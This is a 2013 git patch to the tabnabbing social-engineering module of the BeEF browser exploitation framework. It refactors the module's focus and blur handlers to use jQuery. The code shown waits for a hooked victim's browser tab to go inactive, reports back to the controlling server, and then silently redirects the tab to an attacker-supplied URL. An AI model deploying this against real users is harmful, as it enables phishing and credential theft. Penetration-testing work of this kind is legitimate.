From 07fe3a9c0e7323c78f9c7ce46507f28befc935f2 Mon Sep 17 00:00:00 2001 From: Christian Frichot Date: Thu, 4 Apr 2013 21:33:43 +0800 Subject: [PATCH] Updates to tabnabbing module to use jQuerys wider event handling. #868 --- modules/social_engineering/tabnabbing/command.js | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/modules/social_engineering/tabnabbing/command.js b/modules/social_engineering/tabnabbing/command.js index d246bcb67..85f24fa71 100644 --- a/modules/social_engineering/tabnabbing/command.js +++ b/modules/social_engineering/tabnabbing/command.js @@ -13,14 +13,13 @@ beef.execute(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive'); // begin countdown when the tab loses focus - window.onblur = function() { + $j(window).blur(function(e) { begin_countdown(); - } // stop countdown if the tab regains focus - window.onfocus = function() { + }).focus(function(e) { clearTimeout(tabnab_timer); - } + }); begin_countdown = function() { tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);